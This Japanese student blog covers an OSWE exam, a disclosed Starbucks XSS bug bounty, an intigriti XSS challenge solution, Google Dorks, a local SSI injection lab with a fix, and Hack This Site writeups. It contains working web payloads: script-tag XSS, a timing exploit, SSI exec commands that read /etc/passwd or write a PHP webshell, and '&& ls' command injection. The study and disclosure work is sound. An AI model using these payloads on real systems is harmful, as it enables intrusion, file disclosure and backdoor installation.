バグハンターに憧れた人間の日記

バグハンターに憧れた学生がバグハンターになるためにやってきたことについて、書いていくブログです。もし、筆者がバグを見つけれるようになった時にこれからバグハンターになってみたいと思う人の道導になればと思います。

OSWE受験記

はじめに

IPFactory Advent Calendar 2020の24日目です。

この記事は今年の10月にOSWEを受験したので資格取得までの記事です。 既に同じサークルでOSWEのレビューを書いた方もいるのでそちらも読むと資格取得のためになるかもしれません。

OSWEとは?

f:id:wa1m3im:20201219141110p:plain OSWEとはOffensive Security Web Expertの頭文字を取ったもので、Offensive Security社が出しているWebアプリケーションのホワイトボックステストに焦点を当てた資格になります。 実際のコース内ではソースコードを読んで脆弱性を発見、悪用するプロセスを勉強することになります。 自分でエクスプロイトコードを書く必要があるためやりがいがあると思います。

OSWEを申し込む前にやったこと

筆者は特にOSWEを申し込むために勉強を行ったわけではなく、当時技術にモチベーションがなかったため何かやることを探していて酔った勢いでポチッと申し込みました。

(酔った勢いにしてはかなりの買い物ですよね)

公式サイトにはOSCPを取得してからチャレンジするように勧められていますが筆者は取得していなくても問題ないと思いました。

(実際筆者も現時点ではOSCPは持っていません)

しかし、これでは参考にならないと思うので当時の筆者のスペックを記載します。

  • バグバウンティで複数の脆弱性を報告
  • バグバウンティの運営業務経験
  • 脆弱性診断の経験

また、上記以外にも気が向いたときにCTFに参加したりしていました。

必要な前提知識について

OSWEの公式サイトには前提知識の項目があります。 当時筆者が申し込む前に一番気になったのはこの項目にある知識をどこまで知っている必要があるかです。 申し込む予定で気になっている方もいると思うのでQ&Aのような形式で記載したいと思います。

Comfort reading and writing at least one coding language (Java, .NET, JavaScript, Python, etc)

筆者は当時PythonJavaScriptは読み書きできましたが.NETやJavaに関してはあまり知識がありませんでした。 知らない言語の勉強をしたのは実際にコースが始まってからですが、これは本来事前勉強時にやるべきことだと思いました。 筆者は既に複数の言語(PHP、C、Ruby...etc)を触っているため言語特有の部分のみ勉強をするようにしました。

Familiarity with Linux: file permissions, navigation, editing, and running scripts

これに関しては普段ターミナルを使用している人であれば問題ないと思います。 筆者は試験中Vimを使用してスクリプトを書いていたのでほとんどの作業がターミナルで完結していましたが、必要であればVisual Studio Codeなどを使用しても問題ないと思います。

Ability to write simple Python / Perl / PHP / Bash scripts

とりあえず調べれば自分が求めるような挙動をするスクリプトを書くことができれば問題ないと思います。 筆者はPythonを使っていました。

Experience with web proxies, such as Burp Suite and similar tools

Burpを使用してリクエストの中身を見たり、改竄した経験があれば他は特に追加で必要な知識はありません。 実際に使用するのはCommunity版なので使ったことがない人はこちらからダウンロードしてみるといいかもしれません。

General understanding of web app attack vectors, theory, and practice

シラバスに書いてある脆弱性の名前を見て概要がわかるようであれば問題ないと思います。

勉強の仕方

PDFの中にはExerciseとExtraMilesという課題があります。 僕は2ヶ月間ラボを借りたので、最初の1ヶ月はPDFの資料を読みながらExerciseのみを進めました。 また、前述したとおり筆者は当時.NETに関する知識がゼロだったので.NETの章が始まった際にC#の本を一冊軽く読みました。 gihyo.jp 基本的には一週目はPDFと一緒に貰えるビデオを見ながら進めることをお勧めします。 また、Exerciseを進めながらチートシートも作成しました。 実際の試験でPDFを読み直すには時間がかかりすぎるのである程度自分でまとめた方がいいと思います。 メモにはNotionというアプリを使用しました。 マークダウンが使用できるほかに各項目ごとのページを分けることができるのでSQLIやXSSなど脆弱性ごとにページを分けていました。

2ヶ月目は再度PDFを読み直しながらExtraMilesを進めていきました。

本人確認

試験開始前に身分証明書をWebカメラで写す必要があります。 筆者はこの試験のためにパスポートを取得しましたが、ある程度余裕を持って作成した方がいいと思います。

試験について

試験は48時間というかなり長丁場になります。 睡眠時間や休憩を取らないで取り組みたい人もいるかもしれませんが、睡眠は取った方がいいです。 僕は試験を受けている際にこまめに休憩を取りました。 また、試験中は全ての画面を監視されているので、メールボックスを開く際は注意をしておいた方がいいです。

試験のタイムライン

[15:00] 試験開始 この時点で実は試験に取り組む以前の段階で問題が発生していたためその解決に時間を使ってしまいました。

[17:00] やっと問題が解決して試験に取り組むことができました。 (この時点でかなりストレスが溜まっていたので全然試験に集中できていませんでした)

[22:00] ストレスのせいか脆弱性が見つからなかったため寝る。

[3:00] 目が覚めたのでソースコードを読み直した結果あっさり認証バイパスができる脆弱性を発見。

[4:00] 一台目の攻略。

[7:00] 休憩後に二台目のマシーンに着手開始。

[10:00] 認証バイパスの脆弱性を発見。

[13:00] 2台目の攻略。

[15:00~] 休憩取得後にスクリプトの作成、スクリーンショットの作成などを行って試験終了までの時間を過ごしました。

レポート作成

レポートの作成はバグバウンティや脆弱性診断の経験があるためそこまで詰まることはありませんでした。 github.com

公式ではWordのテンプレートが配布されていますが、筆者は以下のツールを使いました。 github.com このツールはマークダウンで文章を書けばPDFに変換してくれるのでかなり便利ですが、環境構築に時間がかかったので早めに導入して使用できる状態にしておいた方がいいと思います。 また、レポート作成に自信がない人は解説がないマシーンが2台あるのでどちらかのマシーンでレポートを書く練習をするといいかもしれません。 これらは試験当日になって提出期限に間に合わないようなことは避けるためです。

結果メール

合否はレポートを送信してから3日後に受けとしました。 全てのマシーンを攻略していたのである程度自信はありましたが、結果メールが来るまでは1時間に一度くらいのペースでメールボックスを確認していました。 f:id:wa1m3im:20201223213816j:plain

合格証

受け取った合格メールには合格証の送付先を登録するためのリンクが貼ってあります。 登録後は1.5ヶ月ほどで合格書が届きました。 f:id:wa1m3im:20201223213930j:plain

さいごに

今回はOSWEの受験記を書いてみました。 個人的には結構楽しい2ヶ月間でした。 しかし、1つ要望があるならばラボの解説なしのマシーンを増やして欲しいですね。

記事を書くのはちょうど1年ぶりで、アウトプットが少ないとしみじみ感じています。 そろそろOSCPも申し込む予定なのでそちらの記事も書こうかと思っています。

明日はクリスマスなのでサンタが来るといいですね!

メリークリスマス🎅

f:id:wa1m3im:20201223213224g:plain

Starbuck Reflect XSS Writeup

はじめに

この記事は筆者が2019年2月にStarbucksのホームページで発見したXSSについてどのようにアプローチしたのかをまとめた記事です。

この脆弱性は既に修正されており、現在再現することはありません。

元のレポートは下記のリンクになります。

hackerone.com

ターゲットを選択

BugBountyを行う上で最初に行うことはターゲットを選択することです。 そのためにはまずBugBountyを行っている会社を確認する必要があります。

無闇に攻撃を行ってもつかまるだけなので辞めましょうね。

BugBountyプラットフォームはいくつかあり、有名なところだとHackeroneやBugcrowdなどがあります。 当時筆者はHakceroneを使用しました。 HackeroneのページからProgram Directoryを確認します。

hackerone.com f:id:wa1m3im:20191224170922p:plain

ここに載っているプログラムはBugBountyプログラムを行っている会社なので、攻撃を行うことが許されています。 しかし各プログラムにはポリシーが存在します。 その中にはスコープも設定されていて、対象ドメイン以外や対象外の脆弱性が記載されています。 また、行ってはいけない行為なども記載してあります。 確認しないで報告した場合は例え善意ある報告でもN/Aとしてマークされ、Reputationが下げられてしまいます。 f:id:wa1m3im:20191224171539p:plain

そして、当時筆者はStarbucksに良く通っていたという単純な理由からターゲットをStarbuksに選択しました。

f:id:wa1m3im:20191224171749p:plain

機能と脆弱性の選択

探す脆弱性を予め決めておくことによってそのエンドポイントに対していろいろなアプローチ案が浮かんだりしますが、これを決めていないと無鉄砲にペイロードを投げることになります。 そして、発見できるはずの脆弱性を見逃す可能性も出てきます。 当時筆者は脆弱性を一件も見つけたことがなく徳丸本を読んだ程度の知識しかなかったため最初にXSSを見つけてみようと思いました。 そして機能の選択ですが、これは探す脆弱性の種類によって異なります。 例えばCRLF Injectionを探すのに入力値がレスポンスヘッダに出力されないリクエストに対してペイロードを投げても意味がありません。 よって、まずはstarbucksで入力値が出力されてそうな場所の機能を探しました。 そして見つかったのが店舗検索機能です。

f:id:wa1m3im:20191224173104p:plain

エスケープされていないかの確認

次の行ったのは基本的なXSSエスケープが行われているかどうかです。 最初に無害なHTMLタグを挿入してみました。 f:id:wa1m3im:20191224173233p:plain

検索ボタンをクリックしてレスポンスをみてもHTMLタグは挿入されていないようです。

f:id:wa1m3im:20191224173446p:plain

f:id:wa1m3im:20191224173514p:plain

f:id:wa1m3im:20191224180447g:plain

アプローチの仕方を変える

入力フォームがあるページに戻って次に確認したことはinputタグのnameに設定されている値を確認することです。

f:id:wa1m3im:20191224173835p:plain

inputタグのnameにfree_wordという値が設定されていることが確認できると思います。 starbucksのページはphpで動作しています。 phpはinputタグのnameの値を_GET["free_word"];などで受け取ることができるため、検索フォームのページのリクエストパラメーターに?free_world=helloを追加してみました。 その結果入力値がフォームに出力されることがわかりました。 f:id:wa1m3im:20191224180714g:plain f:id:wa1m3im:20191224174601p:plain

次に入力値に">を入力してみました。 f:id:wa1m3im:20191224174959p:plain

出力結果に閉じタグが出てきました。 最後に"><script>alert(document.domain)</script>入力すると f:id:wa1m3im:20191224175227p:plain

f:id:wa1m3im:20191224180319g:plain

Tips

今回普通に検索フォームにXSSペイロードを挿入してもXSSが発火することはありませんでした。 そして検索ボタンを押した際の遷移先のパラメーター名はkeywordになっており、他のハンターもおそらくこのパラメーターは検証していたのではないかと思います。 これは言語によっても異なるかもしれませんが、inputタグのパラメーター名と遷移先のパラメーター名画異なる場合はinputタグのパラメーター名を使用してそのページにリクエストを送信してみてください。 もしかしたら、エスケープ漏れが見つかる可能性があり報奨金をもらえる可能性があります。 f:id:wa1m3im:20191224182927g:plain

さいごに

今回僕が初めて脆弱性を発見した際のWriteup記事を描いてみました。 日本人バグハンターでBugBountyのWriteup記事を描いている人は多くないため、Tipsが日本語で降ってくることはなかなかありません。 筆者もTipsは基本的に英語のブログを読んで得ています。 最近は日本人でもバグハンターになりたいと行っている方をよくみます。 もっと日本人ハンターの人口が増えるためにも日本語の記事が増えたらなと思います。

また、今年最初に掲げた目標から最近の目標であった$1000を稼ぐことができました。

何件も連続でDuplicateをもらいめげそうにもなりましたが、目標達成できてよかったです。

そして明日はクリスマスですね! メリークリスマス🎅 f:id:wa1m3im:20191224181917g:plain

intigriti XSS Challenge Writeup

はじめに

久しぶりの投稿になりますが、今回は先週intigritiが開催したXSS Challengeを解いてみたのでそのWriteup記事です。 解けた中から抽選で一人にはBurp Suite Proのライセンスとプライベートプログラムへの招待がもらえるのですが、筆者は今回当選しませんでした😢 また開催されたら挑戦したいと思います。

しかし、問題自体は面白いものだったので筆者がどのようにアプローチをして解くことができたのかをまとめました。

今回の問題

<script>
  const whitelist = ['intigriti.com','intigriti.io'];
  var url = new URL(location.hash.substr(1));
  if(whitelist.indexOf(url.hostname) > -1){
    document.write("Redirecting you to " + encodeURIComponent(url.href) + "...");
    window.setTimeout(function(){
      location = location.hash.substr(1);
    });
  }
  else{
    document.write(url.hostname + " is not a valid domain.")
  }
</script>

今回の問題はDom Based XSSでした。 2019/11/17時点ではまだ問題があるサーバーにアクセスすることが可能なので、興味がある方は自身で解いてみてください。

https://challenge.intigriti.io/

最初のアプローチ

筆者はまず1行ずつコードを読んでいき、結局どこで発火させればいいかをみました。 この時点でXSSを発火させるべき箇所は予想がついていて、7行目にある

     location = location.hash.substr(1);

この部分でlocationの値にjavascript:alert()を入れることができればこの問題は解くことができるようでした。 しかし、この値挿入するにはif(whitelist.indexOf(url.hostname) > -1){この条件分岐でTrueの処理に入らなければなりません。 つまり、window.location.hash.substr(1)の値がintigriti.comもしくはintigriti.ioでなければなりません。 よって最初のURLの値は以下のようになる必要があります。

https://challenge.intigriti.io/#https://intigriti.com

では、どのようにしたらTrueの処理に入りながらlocation.hash.substr(1)の値を書き換えることができるかを考えた結果、Trueの処理に入った後にハッシュの値を変更することができればこの問題を解くことができると思いました。 実際、ブラウザの開発者ツールを使用してブレイクポイントをうって検証を行ったところ思った通りハッシュの値を変更することによってjavascriptを実行することができました。

f:id:wa1m3im:20191127234808p:plain f:id:wa1m3im:20191127234830p:plain f:id:wa1m3im:20191127234833p:plain

Trueの処理に入った後に値を変更することって可能なの?

次に考えたことが、そもそもそんなことができるかという話です。 しかし、今回のコードには怪しそうな箇所がありました。 それはwindow.setTimeout()です。 なのでsetTimeoutについて調べてみることにしました。

developer.mozilla.org

このページには次のような記載がありました。

delay [Optional]
指定した関数やコードを実行する前に待つタイマーの時間をミリ秒 (1/1000 秒) 単位で指定します。この引数を省略すると値 0 を使用しますので "直ちに" 実行する、より正確に言えばできるだけ早く実行することを意味します。

つまりTrueの処理に入った後かつsetTimeoutに指定した関数が実行可能状態になる前にハッシュの値を書き換えればいいのです。

回答

ということで、実際にそのような動作をするコードを書いてみました。

<script>
    var win;
    setTimeout(function(){
        win = window.open("https://challenge.intigriti.io/#https://intigriti.com","","width=300,height=400")
    },10);
    setTimeout(function(){
    win.location ="https://challenge.intigriti.io/#javascript:alert(document.domain)"
    },70);
</script>

その結果問題なくXSSは発火しました。

f:id:wa1m3im:20191128003157p:plain

このコードでは最初に問題ページを開いてから50ミリ秒後にそのタブのURLを変更しています。 ブラウザはlocationの値が書き換えられてもハッシュのみの値が変わっている場合新しいリクエストを送信しません。 よって、問題ページから遷移することなくjavascript実行時に値を書き換えることができます。 しかし、このペイロードには問題があり複数回このHTMLをリロードしないとXSSが発火しない可能性があります。 なぜなら、先ほど紹介した通りsetTimeoutは実行可能状態になったら指定した関数を実行するからです。 よって、今回指定した70ミリ秒は環境によって値が異なるのです。 筆者はブラウザにBurpを通すことによって時間を調整しました。 なので筆者の環境では何度かリロードを行ったら発火しましたが、他の人の環境で発火する保証はありません。

しかし、この問題を解いた人の中には洗礼されたペイロードを書いてる方がいました。

なので再現確認を行いたい方はこの方のペイロードを確認するといいかもしれません。

さいごに

今回久しぶりにブログを更新してみました。 最後にブログを投稿してから複数の脆弱性を投稿してきましたが、ハンター側のリスクと会社が思うリスクが一致しないために脆弱性として取り扱われないことや、返事が返ってこないことなどいろいろあるのでバグハンターも大変だと最近実感しました。 時間があれば、筆者が初めてスターバックスXSSを見つけた時のWriteupも書いてみたいと思います。

Google Dorksの使い方

はじめに

筆者が日本のトップバグハンターの方々にお話聞いた際に、「バグを見つける際、最初何をしますか?」という質問に「初手Google Dorks」という回答が返ってきたのですがお話を聞いた時点では筆者はGoogle Dorksの存在すら知りませんでした。 しかし、海外の記事などを読んでいると当たり前のように使われているので今回まとめることにしました。

Google Dorksとは?

https://i1.wp.com/hacksinfo.org/wp-content/uploads/2018/09/Google-dorks-compressor.png?fit=618%2C252&ssl=1

Googleの検索ワードに検索演算子を含めることで、検索結果を絞り込むことができます。 その結果効率的に情報を集めることができます。これはバグバウンティでもかなりの応用が効きそうです。

使い方

site:

site:vulnerable.com

site:(サイト)は指定したサイトやドメインのみの検索結果を返します。

inurl:

inurl:id=

inurl:(値)はURLに指定した値を含むURLを検索結果として表示してくれます。 任意のパラメーターのみの検索結果を表示したいときに使えそうですね。

filetype:

filetype:php

filetype:(ファイルのタイプ)は指定したファイルタイプを検索してくれます。

intitle:

intitle:upload

intitle:(タイトル)は指定したタイトルのみを検索してくれます。

活用

先ほど紹介したものを組み合わせることによってバグハントをするにあたって有力な情報が手に入る可能性があるようです。 例えば、

site:*vulnerable.com inurl:id=

と検索するとvulnerable.comの中でもパラメータにidがあるサイトのみを検索結果として表示します。 また、

site:*vulnerable.com  filetype:php

とすることでvulnerable.comの中でもphpファイルのみを検索結果として表示してくれます。

また、もっと詳しく知りたい方は以下のサイトをみるといいかも知れません。

www.exploit-db.com

おわりに

今回は、バグバウンティで使えそうな知識出会ったのでまとめてみました。 今後は様々な脆弱性の検証記事を書いてみたいと思います。

SSI Injection

概要

先日Writeupの記事を書いたのですが、SSI Injectionという攻撃手法が出てきたのですが、筆者はそもそもSSIを知りませんでした。なので今回は実際にSSI Injectionの検証結果をブログに残したいと思いました。

SSIとは?

そもそもSSIとは何かということから今回の検証は始まりました。 SSIとはServer side Includesの略でHTMLに動きをつけるために使われるようです。 最近ではあまり使われることがないらしく今更感もあるのですが、過去にもSSI Injectionの事例があるようなので知識として入れておきたいと思い検証しました。

tech.nikkeibp.co.jp

SSIの導入

今回SSIの導入はこちらの記事を参考にしました。

環境

Virtual Box 5.2.22

OS:Ubuntu18.04

Apache:2.4.29

導入

SSIを動かすためにはモジュールを読み込まなければいけないらしいのでapache2.confに以下の内容を付け足しました。

LoadModule include_module modules/mod_include.so
LoadModule cgid_module modules/mod_cgid.so 

f:id:wa1m3im:20190206093026p:plain /etc/apache2にはもともとmoduleというディレクトリは存在しないのでmod_include.soをコピーしてくる必要がありました。 mod_include.soファイルの検索を行い

sudo find / -name mod_include.so 

f:id:wa1m3im:20190204132117p:plain

/usr/lib/apache2/modules/mod_include.so

このような検索結果が返ってきたので/usr/lib/apache2/modules/をそのまま/etc/apache2/modulesにコピーしました。

sudo cp -r /usr/lib/apache2/modules/mod_include.so /etc/apache2/modules/

f:id:wa1m3im:20190204131735p:plain

今回は/var/www/html下でSSIを使うのでapache2.confの設定ファイルに書き足しました。

<Directory /var/www/html>
Options Includes
AllowOverride None
Require all granted
AddType text/html .php .html
AddOutputFilter INCLUDES .php .html
</Directory>

f:id:wa1m3im:20190204205122p:plain

Directoryの後には設定を適用するディレクトリのパスを指定します。
Optionはincludesを指定することによってSSIの使用を許可します。
AllowOverRideは.htaccessで使用できるディレクトリを指定する為のディレクティブです。今回は設定する必要がないのでNoneにしています。
Requireはアクセス制御の設定です。今回は全てのアクセスを許可します。
AddTypeディレクティブは与えられた拡張子を指定されたコンテントマップにマップしてくれます。今回は.phpと.htmlをで動くように指定しました。 AddOutputFilterは同じく.phpと.htmlを指定します。 ここでフィルタについて少し調べたのですが、この機能はApache2.0以降の機能であり、クライアントとサーバー間で送受信されるデータへの処理プロセスのことを言うようです。クライアントからサーバーに送られるデータを入力フィルタ、サーバーからクライアントへのデータは出力フィルタによって処理することによりApacheに入出力されるデータを加工する為の機能を提供しているようです。 また、Apache1.3まではSSIをハンドラとして実装していたらしいのですが、2.0からはフィルタとして提供されているようです。 よってApache1.3でSSIを有効にするにはAddHandlerディレクティブに設定しなければいけなかったようです。しかし、Apache2.0からはSSIをフィルタとして提供されるようになったのでAddOutputFilterディレクティブを使用します。

設定ファイルの編集が終わったので次に実際にSSIが動作するかテストをしてみました。

<!DOCTYPE html>
<html lang="ja">
<head>
    <meta charset="UTF-8">
    <title>SSI Test</title>
</head>
<body>

    <!--#echo var="DATE_LOCAL" -->
    
</body>
</html>

/var/www/htmlに移動してtest.htmlを作成しました。 SSIの現在の時刻を表示コードを記述してブラウザからアクセスしてみると

f:id:wa1m3im:20190205121800p:plain

問題なく動作していました。

次にphpファイルでテストをしてみました。

    <!--#echo var="DATE_LOCAL" -->

test.phpというファイルを作成して先ほどと同じように時刻を表示させようとすると

f:id:wa1m3im:20190205122356p:plain

問題なく動きました。

検証

ユーザーから入力値を受け取るform.htmlと入力値をそのまま表示するview.phpを作成しました。

<!DOCTYPE html>
<html lang="ja">
<head>
    <meta charset="UTF-8">
    <title>form.html</title>
</head>
<body>

    <form action="view.php" method="post">
        <input type="text" name="text" size="40">入力フォーム
        
        <input type="submit" value="submit">
    </form>

    
</body>
</html>
<!DOCTYPE html>
<html lang="ja">
<head>
    <meta charset="UTF-8">
    <title>view.php</title>
</head>
<body>

<?php

$value = $_POST["value"];
echo "入力値は".$value."です。";

?>
    
</body>
</html>

エスケープは行っていないのでもちろんXSSは発火します。

f:id:wa1m3im:20190205124010p:plain

f:id:wa1m3im:20190205124311p:plain

入力値に先ほどの時間を表示するコードを入力すると

f:id:wa1m3im:20190205124806p:plain

f:id:wa1m3im:20190205124821p:plain

SSIのコードが問題なく動いてしましました。

また、SSIはOSコマンドの実行が可能な為、lsコマンドを実行してみると

f:id:wa1m3im:20190206093745p:plain

<!--#exec cmd="ls" -->

f:id:wa1m3im:20190206093856p:plain

ディレクトリの中身が見れてしまいました。

他にも

<!--#exec cmd="echo '<?php phpinfo();?>' > info.php" -->

f:id:wa1m3im:20190207093439p:plain

ファイルの出力も行える為、webshellなどのバックドアの設置も可能でした。 f:id:wa1m3im:20190207093651p:plain

対策

SSI Injectionの対策はXSSの対策と同様で特殊文字エスケープによって対策することが可能になるそうです view.phpの$valueの値を直接代入するのではなくhtmlspecialchars関数に渡してから代入するようにすると

<!DOCTYPE html>
<html lang="ja">
<head>
    <meta charset="UTF-8">
    <title>view.php</title>
</head>
<body>

<?php

$value = htmlspecialchars($_POST["value"]);
echo "入力値は".$value."です。";

?>
    
</body>
</html>

f:id:wa1m3im:20190207094821p:plain

SSIが動作せず、文字列としてペイロードが表示されました。

おわりに

今回はSSI Injectionを検証してみました。 SSIはApacheの設定次第で動くので過去に動くように設定していて現在は使用していないものの設定をそのままにしている可能性も考えられますね。もしかしたら発火する可能性もあるかもしれませんね。

参考資料

www.hizlab.net

bashalog.c-brains.jp

ch.nicovideo.jp

はじめに

初めまして、Wa1m3imです。 筆者はバグハンターに憧れている情報系の専門学生です。 この記事は、バグハンターに憧れた筆者がバグハンターになるためにはどう言ったことが必要なのかを自分なりに考えたり、実際にバグハントを行なっている人に質問したことを元に行動に移したことをブログとして書き残したいと思っています。 内容に誤りがありましたらDMにてご連絡いただけると幸いです。

Hack This Site!

f:id:wa1m3im:20190130211800p:plain 筆者はまずバグハンターになるにはどのような技術が必要なのか様々なブログを読んだり、実際にバグハンターに聞いてみたりしました。 その回答の中で、最も多かった答えが「実際に検証すること」でした。「習うより慣れろ」ってことですね。 とういうことで実際に自分で環境を立てることももちろん大切だと思っているのですが、今回はもともと脆弱性が含まれているサイトを見つけたのでそれを取り組んでみました。 それが、Hack This Site!です。 このサイトはWebに関する脆弱性が多くあるのでとても多いことや、話に流れがあることからとても取り組みやすかったです。

今日はこのサイトの基本的な問題であるBasicMissionについてのライトアップを書きたいと思います。 ちなみにこのサイトの製作者はFireFoxでの動作確認はしているようなので何か不具合があった場合にはブラウザを切り替えるといいのかもしれないですね。

Basic Mission

Basic 1

f:id:wa1m3im:20190130152711p:plain

HTMLのスキルが必要とされるようですね。

f:id:wa1m3im:20190130153203p:plain

とりあえず困ったら開発者ツールを開くのが一番ですよね。 このページのHTMLをみてみてワード検索で「pass」と検索した答えが出てきました。

f:id:wa1m3im:20190130153326p:plain

Basic 2

f:id:wa1m3im:20190130154116p:plain

こちらは常識が必要らしいのですが、筆者には常識が足りなかったので少し手こずりました。

f:id:wa1m3im:20190131204155p:plain

サム君はパスワードファイルのアップロードを忘れてしまったらしいですね。 なんてお茶目なミスでしょう.... 筆者は何をしていいのかわからなく、開発者ツールを色々いじっていたわけですが適当に何も入れずにsubmitボタンを押したら当たっていました。 パスワードファイルをアップロードしていないならばパスワードがないのは当たり前なのですが深く考えすぎたみたいです。

Basic3

f:id:wa1m3im:20190130155629p:plain

またもやHTMLのみの知識が求められるようです。

f:id:wa1m3im:20190131204336p:plain

サム君はパスワードファイルをアップロードした様なのですが、他にもっと大きな問題がある様です。

f:id:wa1m3im:20190131204606p:plain

パスワードのサブミットボタンのHTMLを見てみると、inputタグのvalueの値がpassword.phpとなっていました。 もしやと思いながらpassword.phpにアクセスしてみると普通にアクセス出来てしまいました。 アクセス制御の不備ですね。

f:id:wa1m3im:20190131204658p:plain

Basic4

f:id:wa1m3im:20190131204811p:plain

この問題はHTMLの知識とemailアドレスが必要なようです。

f:id:wa1m3im:20190131205442p:plain

サム君はパスワードを忘れた時用にメールアドレスにパスワードを送ってくれるような機能を作ったみたいです。 今回もHTMLを見て見てると、サム君の作っていた機能のinputタグのvalueにメールアドレスが生で書いてありました。 これを任意のメールアドレスに書き換える事によってパスワードを盗むことができるみたいですね。

f:id:wa1m3im:20190131210035p:plain

試しに自分のメールアドレスにHTMLを書き換えてsubmitボタンを押したところサム君からメールが届きました。

f:id:wa1m3im:20190131210157p:plain

Basic5

f:id:wa1m3im:20190131205622p:plain

次はHTMLの他にもJSかFFの知識が必要になるみたいです。

f:id:wa1m3im:20190131205712p:plain

しかし、先ほどと同じようにHTMLのinputタグの値を書き換えたら上手く行ってしまいました。 なぜjsの知識を今問われたかは少し謎です。

f:id:wa1m3im:20190131210302p:plain

Basic6

f:id:wa1m3im:20190131210404p:plain

次は暗号に関する知識を必要としているようです。

f:id:wa1m3im:20190131210505p:plain

暗号化した後の文章が乗っていてそれを復号してパスワードを出す形式ですね。

最初に「AAAAAA」を入力して暗号化してました。

f:id:wa1m3im:20190131210605p:plain

結果は「ABCDEF」が返ってきました。 次に「12345」と入力値を与えると

f:id:wa1m3im:20190131210723p:plain

そうすると「13579」という結果が返ってきました。 よってこの暗号はn文字目をn-1個文字ずらすようです。

この法則に従って与えられた文字列を戻していくと正解することが出来ました。

Basic7

f:id:wa1m3im:20190131211007p:plain

次はUNIXのコマンドの知識が必要なようです。 viewと入力するとカレンダーのみが表示されるプログラムのようです。

f:id:wa1m3im:20190131211057p:plain

UNIXのコマンドでは最後に&&を付けることで続けて&&以降に指定したコマンドを実行することが出来るため 入力欄に

&& ls

と入力した結果カレンダーの後に現在のディレクトリの中身をみることが出来ました。 出力された怪しいphpファイルにアクセスするとパスワードを獲得することが出来ました。

f:id:wa1m3im:20190131211253p:plain

Basic8

f:id:wa1m3im:20190131211527p:plain

この問題ではSSIの知識が必要となるようです。 今回SSIという単語を初めて聞いたので少し調べたのですが、HTMLに動きをつけるために使われていたようですね。 SSI injectionもあるようなのでこの記事とは別にまとめて書きたいと思います。

f:id:wa1m3im:20190131211538p:plain

とりあえず筆者の名前を入れてみると自分の名前とその文字数が出力されました。

f:id:wa1m3im:20190131212353p:plain

SSIについての知識が必要とのことなのでSSIの脆弱性について調べているとなんとSSIはOSコマンドも実行することが可能なようなので、SSI injectionについて書いてあった記事のペイロードをそのまま投げて見たところ

<!--#exec cmd="cat /etc/passwd" -->

f:id:wa1m3im:20190131211826p:plain

SSI injectionを使うのはいいけど、コマンドは制限しているようです(そりゃそうだ)

なので今度はこのようなペイロードを投げてみた。

<!--#exec cmd="ls" -->

f:id:wa1m3im:20190131212108p:plain

その結果はこのようにディレクトリの中身をみることが出来た。 しかし、パスワードを書いてあるPHPファイルは見当たりませんでした。

f:id:wa1m3im:20190131212240p:plain

階層が違うと思ったのでコマンドを少し変えて見ました。

<!--#exec cmd="ls .." -->

f:id:wa1m3im:20190131212506p:plain

その結果怪しいファイルを見つけたのでアクセスして見たところ無事パスワードを手に入れることが出来た。

f:id:wa1m3im:20190131212555p:plain

Basic9

f:id:wa1m3im:20190131212903p:plain

この問題はSSIとディレクトリの階層について理解していなければいけないらしい。

f:id:wa1m3im:20190131212911p:plain

問題文が書いてあるところを見ても何も出来そうなことがないのでダメもとで先ほどのBasic8の入力フォームに

<!--#exec cmd="ls ../../9" -->

f:id:wa1m3im:20190131213246p:plain

と入力した結果先Basic9のディレクトリをみることが出来ました。

f:id:wa1m3im:20190131213202p:plain

怪しいPHPファイルがあったのでアクセスしたところパスワードを獲得することが出来ました。

f:id:wa1m3im:20190131213308p:plain

Basic10

f:id:wa1m3im:20190131213528p:plain

なんとかしてJavaScriptを回避すればいいようです。

f:id:wa1m3im:20190131213656p:plain

何も入力せずにsubmitボタンを押すとnot authorizedと表示されました。

f:id:wa1m3im:20190131233413p:plain

開発者ツールを色々試して見てもさっぱりだったのでアプローチの仕方を変えてみるべく「Burp suite」を使って通信を見てみる事にしました。

f:id:wa1m3im:20190131233049p:plain

cookieの値に見慣れない「level10_authorized=no」という値があった。 これの値を「level10_authorized=yes」に変えてリクエストを送ったところレベルクリアをすることが出来た。

Basic11

残念ながらこの問題は筆者の実力では解くことが出来なかった。 Writeupを読んでみたものの自分で実際に手を動かすと途中までは上手くいくのですが

f:id:wa1m3im:20190201133923p:plain

.htaccess」にアクセスしようとしたらNotFoundが出てしまいました。

f:id:wa1m3im:20190201114623p:plain

なのでライトアップどうりには解くことが出来ませんでした。

おわりに

筆者はここ1週間インフルエンザに感染してなかなか記事が書けませんでした。 Basic11が解けなかったのは悔しいです。 今回は初めの記事ということでライトアップの記事を書いたのですが、色々検証の記事をこれから書いていきたいと思っています。

これからもバグを見つけれるようになる為、日々精進していきたいと思います。